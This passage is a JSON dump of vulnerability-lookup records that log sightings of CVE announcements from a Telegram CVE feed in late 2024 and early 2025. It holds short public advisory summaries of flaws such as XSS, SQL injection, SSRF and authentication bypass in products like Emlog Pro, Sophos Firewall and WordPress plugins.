CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T06:58:14.000000Z"}, {"uuid": "07048b55-0586-4f1c-9ce3-63dd08241901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12840", "type": "seen", "source": "https://t.me/cvedetector/13446", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12840 - Satellite SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12840 \nPublished : Dec. 20, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A server-side request forgery exists in Satellite. When a PUT HTTP request is made to /http_proxies/test_connection, when supplied with the http_proxies variable set to localhost, the attacker can fetch the localhost banner. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T18:25:25.000000Z"}, {"uuid": "d16a1de0-f4f8-4c85-bfad-9886ebb1ca67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12845", "type": "seen", "source": "https://t.me/cvedetector/13470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12845 - Emlog Pro Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12845 \nPublished : Dec. 20, 2024, 10:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in Emlog Pro up to 2.4.1. Affected by this vulnerability is an unknown functionality in the library /include/lib/common.php. The manipulation of the argument msg leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T00:16:48.000000Z"}, {"uuid": "b6a39301-9eeb-4531-b66c-1e0a6908d677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12844", "type": "seen", "source": "https://t.me/cvedetector/13469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12844 - Emlog Pro Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12844 \nPublished : Dec. 20, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in Emlog Pro up to 2.4.1. Affected is an unknown function of the file /admin/store.php. The manipulation of the argument tag leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T23:26:41.000000Z"}, {"uuid": "40cfdfee-818b-4586-b713-2f6500fcfc4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12843", "type": "seen", "source": "https://t.me/cvedetector/13468", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12843 - Emlog Pro Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12843 \nPublished : Dec. 20, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in Emlog Pro up to 2.4.1. It has been rated as problematic. This issue affects some unknown processing of the file /admin/plugin.php. The manipulation of the argument filter leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T23:26:40.000000Z"}, {"uuid": "acdb8874-6933-48ec-a51b-c150aad4f57c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12842", "type": "seen", "source": "https://t.me/cvedetector/13460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12842 - Emlog Pro Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12842 \nPublished : Dec. 20, 2024, 8:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability was found in Emlog Pro up to 2.4.1. It has been declared as problematic. This vulnerability affects unknown code of the file /admin/user.php. The manipulation of the argument keyword leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T21:46:14.000000Z"}, {"uuid": "96d29d2f-41a5-4c5c-93fe-d6404487e385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://t.me/cvedetector/15240", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12919 - \"Easy Memberships authentication bypass in WordPress Paid Membership Subscriptions\"\", \n  \"Content\": \"CVE ID : CVE-2024-12919 \nPublished : Jan. 14, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The Paid Membership Subscriptions \u2013 Effortless Memberships, Recurring Payments & Content Restriction plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 2.13.7. This is due to the pms_pb_payment_redirect_link function using the user-controlled value supplied via the 'pms_payment_id' parameter to authenticate users without any further identity validation. This makes it possible for unauthenticated attackers with knowledge of a valid payment ID to log in as any user who has made a purchase on the targeted site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T12:18:58.000000Z"}, {"uuid": "17e82166-da5c-44fa-a03f-a233eba16e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12790", "type": "seen", "source": "https://t.me/cvedetector/13348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12790 - Code-Projects Hostel Management Site Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12790 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Hostel Management Site 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file room-details.php. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:02.000000Z"}, {"uuid": "aa412854-f28f-4a83-a868-964892b6e423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "https://t.me/cvedetector/13347", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12789 - PbootCMS Remote Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12789 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in PbootCMS up to 3.2.3. It has been classified as critical. This affects an unknown part of the file apps/home/controller/IndexController.php. The manipulation of the argument tag leads to code injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.4 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:01.000000Z"}, {"uuid": "b5ecfdd5-51af-4d01-bffb-6492ac07addd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12014", "type": "seen", "source": "https://t.me/cvedetector/13431", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12014 - eSigna eSignaViewer Path Traversal and Insecure Direct Object Reference\", \n  \"Content\": \"CVE ID : CVE-2024-12014 \nPublished : Dec. 20, 2024, 1:15 p.m. | 38\u00a0minutes ago \nDescription : Path Traversal and Insecure Direct Object Reference (IDOR) vulnerabilities in the eSignaViewer component in eSigna product versions 1.0 to 1.5 on all platforms allow an unauthenticated attacker to access arbitrary files in the document system via manipulation of file paths and object identifiers. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T15:04:37.000000Z"}, {"uuid": "1def31e2-c22d-4342-a247-20dbd116d851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12571", "type": "seen", "source": "https://t.me/cvedetector/13416", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12571 - WordPress LotsOfLocales Google Maps Local File Inclusion\", \n  \"Content\": \"CVE ID : CVE-2024-12571 \nPublished : Dec. 20, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : The Store Locator for WordPress with Google Maps \u2013 LotsOfLocales plugin for WordPress is vulnerable to Local File Inclusion in version 3.98.9 via the 'sl_engine' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T09:13:10.000000Z"}, {"uuid": "6512cd65-fdea-4975-89a5-c7448aaaa663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12509", "type": "seen", "source": "https://t.me/cvedetector/13414", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12509 - WordPress Embed Twine Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12509 \nPublished : Dec. 20, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : The Embed Twine plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'embed_twine' shortcode in all versions up to, and including, 0.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T09:13:09.000000Z"}, {"uuid": "194fd0eb-5971-471e-9841-b5f4f4c0ffed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12982", "type": "seen", "source": "https://t.me/cvedetector/13716", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12982 - PHPGurukul Blood Bank & Donor Management System Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12982 \nPublished : Dec. 27, 2024, 6:15 a.m. | 15\u00a0minutes ago \nDescription : A vulnerability was found in PHPGurukul Blood Bank & Donor Management System 2.4. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /bbdms/admin/update-contactinfo.php. The manipulation of the argument Address leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T07:37:34.000000Z"}, {"uuid": "bdfb358d-e5bf-4f18-b76e-2b46b9ea8e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12506", "type": "seen", "source": "https://t.me/cvedetector/13423", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12506 - NACC WordPress Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12506 \nPublished : Dec. 20, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : The NACC WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'nacc' shortcode in all versions up to, and including, 4.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T09:13:18.000000Z"}, {"uuid": "d10d4f46-a1f5-4d15-80e0-6e3f97cc310a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://t.me/cvedetector/13379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12727 - Sophos Firewall SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12727 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A pre-auth SQL injection vulnerability in the email protection feature of Sophos Firewall versions older than 21.0 MR1 (21.0.1) allows access to the reporting database and can lead to remote code execution if a specific configuration of Secure PDF eXchange (SPX) is enabled in combination with the firewall running in High Availability (HA) mode. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:05.000000Z"}, {"uuid": "c6680040-7b44-48fc-b8da-b9f17180dcfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12678", "type": "seen", "source": "https://t.me/cvedetector/13395", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12678 - Nomad Privilege Escalation Through Unredacted Tokens\", \n  \"Content\": \"CVE ID : CVE-2024-12678 \nPublished : Dec. 20, 2024, 2:15 a.m. | 40\u00a0minutes ago \nDescription : Nomad Community and Nomad Enterprise (\"Nomad\") allocations are vulnerable to privilege escalation within a namespace through unredacted workload identity tokens. This vulnerability, identified as CVE-2024-12678, is fixed in Nomad Community Edition 1.9.4 and Nomad Enterprise 1.9.4, 1.8.8, and 1.7.16. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T04:12:03.000000Z"}, {"uuid": "9a260b5e-c344-4ebf-a25a-0a478e1655d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12829", "type": "seen", "source": "https://t.me/cvedetector/13392", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12829 - Arista NG Firewall ExecManagerImpl Command Injection Remote Root Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12829 \nPublished : Dec. 20, 2024, 1:15 a.m. | 40\u00a0minutes ago \nDescription : Arista NG Firewall ExecManagerImpl Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Arista NG Firewall. Authentication is required to exploit this vulnerability.  \n  \nThe specific flaw exists within the ExecManagerImpl class. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-24015. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T03:21:58.000000Z"}, {"uuid": "af2e2581-f848-4852-898f-942ea45b623d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "https://t.me/cvedetector/13338", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12785 - Cisco: Vehicle Management System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12785 \nPublished : Dec. 19, 2024, 3:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability was found in itsourcecode Vehicle Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file sendmail.php. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T17:19:40.000000Z"}, {"uuid": "914a9d8c-1e3d-499c-b9ee-7b07a17558d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12786", "type": "seen", "source": "https://t.me/cvedetector/13337", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12786 - Adobe Downloader XPC Service Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12786 \nPublished : Dec. 19, 2024, 3:15 p.m. | 43\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in X1a0He Adobe Downloader up to 1.3.1 on macOS. Affected is the function shouldAcceptNewConnection of the file com.x1a0he.macOS.Adobe-Downloader.helper of the component XPC Service. The manipulation leads to improper privilege management. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. This product is not affiliated with the company Adobe. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T17:19:39.000000Z"}, {"uuid": "fbdff33d-fd13-4620-ac93-517376a3e39f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://t.me/cvedetector/13380", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12728 - Sophos Firewall Weak Credentials Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12728 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A weak credentials vulnerability potentially allows privileged system access via SSH to Sophos Firewall older than version 20.0 MR3 (20.0.3). \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:06.000000Z"}, {"uuid": "f8c7c6dc-f99d-4a04-ad89-abfebb88ab86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12672", "type": "seen", "source": "https://t.me/cvedetector/13378", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12672 - \"Rockwell Automation Arena Write-What-You-Please Memory Corruption Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12672 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A third-party vulnerability exists in the Rockwell Automation\u00a0Arena\u00ae\u00a0that could allow a threat actor to write beyond the boundaries of allocated memory in a DOE file. If exploited, a threat actor could leverage this vulnerability to execute arbitrary code. To exploit this vulnerability, a legitimate user must execute the malicious code crafted by the threat actor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:04.000000Z"}, {"uuid": "47ecab51-05e9-49ab-817f-e1d109b63f84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12175", "type": "seen", "source": "https://t.me/cvedetector/13377", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12175 - Rockwell Automation Arena Use After Free Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12175 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : Another \u201cuse after free\u201d\u00a0code execution vulnerability exists in the Rockwell Automation\u00a0Arena\u00ae\u00a0that could allow a threat actor to craft a DOE file and force the software to use a resource that was already used. If exploited, a threat actor could leverage this vulnerability to execute arbitrary code. To exploit this vulnerability, a legitimate user must execute the malicious code crafted by the threat actor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:00.000000Z"}, {"uuid": "cdca3177-9391-4cb4-ae71-dc32d6e5c4ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12729", "type": "seen", "source": "https://t.me/cvedetector/13374", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12729 - Sophos Firewall Remote Code Execution SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12729 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A post-auth SQLi vulnerability in the User Portal allows authenticated users to execute code remotely in Sophos Firewall older than version 21.0 MR1 (21.0.1). \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:10:58.000000Z"}, {"uuid": "888049df-9d3c-421c-8471-b5abae81b03a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12111", "type": "seen", "source": "https://t.me/cvedetector/13372", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12111 - OpenText Privileged Access Manager LDAP Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12111 \nPublished : Dec. 19, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : In a specific scenario a LDAP user can abuse the authentication process in OpenText\u00a0Privileged Access Manager that allows authentication bypass.\u00a0This issue affects Privileged Access Manager version 23.3(4.4); 24.3(4.5) \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T22:20:55.000000Z"}, {"uuid": "745da18b-c981-4c2e-af9d-c3e9b0b04d77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12121", "type": "seen", "source": "https://t.me/cvedetector/13302", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12121 - Wordpress Broken Link Checker Finder SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12121 \nPublished : Dec. 19, 2024, 2:15 a.m. | 40\u00a0minutes ago \nDescription : The Broken Link Checker | Finder plugin for WordPress is vulnerable to Blind Server-Side Request Forgery in all versions up to, and including, 2.5.0 via the 'moblc_check_link' function. This makes it possible for authenticated attackers, with Author-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T03:55:51.000000Z"}, {"uuid": "6ad466ce-868c-4a67-ad9b-dfe525da4c18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12792", "type": "seen", "source": "https://t.me/cvedetector/13358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12792 - Codezips E-Commerce Site SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12792 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Codezips E-Commerce Site 1.0. Affected by this vulnerability is an unknown functionality of the file newadmin.php. The manipulation of the argument email leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:18.000000Z"}, {"uuid": "208e893d-3e39-4693-aac9-3a1aa50551bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12791", "type": "seen", "source": "https://t.me/cvedetector/13357", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12791 - Codezips E-Commerce Site SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12791 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability was found in Codezips E-Commerce Site 1.0. It has been rated as critical. This issue affects some unknown processing of the file signin.php. The manipulation of the argument email leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", 